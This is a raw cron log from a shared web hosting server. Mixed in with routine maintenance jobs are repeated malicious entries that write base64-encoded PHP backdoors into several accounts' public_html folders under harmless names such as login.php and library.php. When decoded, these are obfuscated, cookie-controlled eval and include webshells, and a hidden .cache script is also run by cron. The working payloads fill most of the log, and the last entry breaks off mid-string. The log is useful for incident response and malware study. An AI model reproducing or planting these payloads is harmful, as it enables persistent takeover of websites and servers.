Mar  1 23:42:02 medusa CROND[10744]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 23:42:02 medusa CROND[10746]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Mar  1 23:42:02 medusa CROND[10748]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Mar  1 23:42:02 medusa CROND[10749]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_panel-detect.cronlock /usr/bin/package_reinstaller.py check)
Mar  1 23:42:02 medusa CROND[10756]: (revistaenergiaco) CMD (/user/bin/curl -s 'https://news.revistaenergia.com.ar/lists/admin/?page=processqueue&secret=9f656b23bf56b9ba2362)
Mar  1 23:42:02 medusa CROND[10758]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 23:43:02 medusa CROND[17283]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Mar  1 23:43:02 medusa CROND[17284]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Mar  1 23:43:02 medusa CROND[17285]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_processpaneluser.cronlock /usr/sbin/processpaneluserspackages)
Mar  1 23:43:02 medusa CROND[17286]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Mar  1 23:43:02 medusa CROND[17287]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 23:43:02 medusa CROND[17290]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Mar  1 23:43:02 medusa CROND[17296]: (tipsiser) CMD (wget -O - -q -t 1 http://tipsiser.com.ar/chamilo/main/cron/run.php > /dev/null 2>&1)
Mar  1 23:43:02 medusa CROND[17295]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Mar  1 23:43:02 medusa CROND[17297]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 23:43:02 medusa CROND[17299]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Mar  1 23:43:02 medusa CROND[17303]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 23:43:02 medusa CROND[17305]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Mar  1 23:43:02 medusa CROND[17294]: (anam1e7) CMD (php -q "/home16/anam1e7/public_html/wp-cron.php")
Mar  1 23:43:02 medusa CROND[17306]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 23:44:01 medusa CROND[24072]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Mar  1 23:44:01 medusa CROND[24073]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Mar  1 23:44:01 medusa CROND[24074]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Mar  1 23:44:01 medusa CROND[24075]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Mar  1 23:44:01 medusa CROND[24077]: (root) CMD (/usr/bin/flock -n /var/run/python_cllib_detector_cronlock /usr/share/python-cllib/detector.py)
Mar  1 23:44:01 medusa CROND[24078]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 23:44:01 medusa CROND[24079]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Mar  1 23:44:01 medusa CROND[24076]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Mar  1 23:44:01 medusa CROND[24083]: (revistaenergiaco) CMD (/user/bin/curl -s 'https://news.revistaenergia.com.ar/lists/admin/?page=processqueue&secret=9f656b23bf56b9ba2362)
Mar  1 23:44:01 medusa CROND[24084]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 23:44:01 medusa CROND[24086]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Mar  1 23:44:01 medusa CROND[24090]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 23:44:01 medusa CROND[24092]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA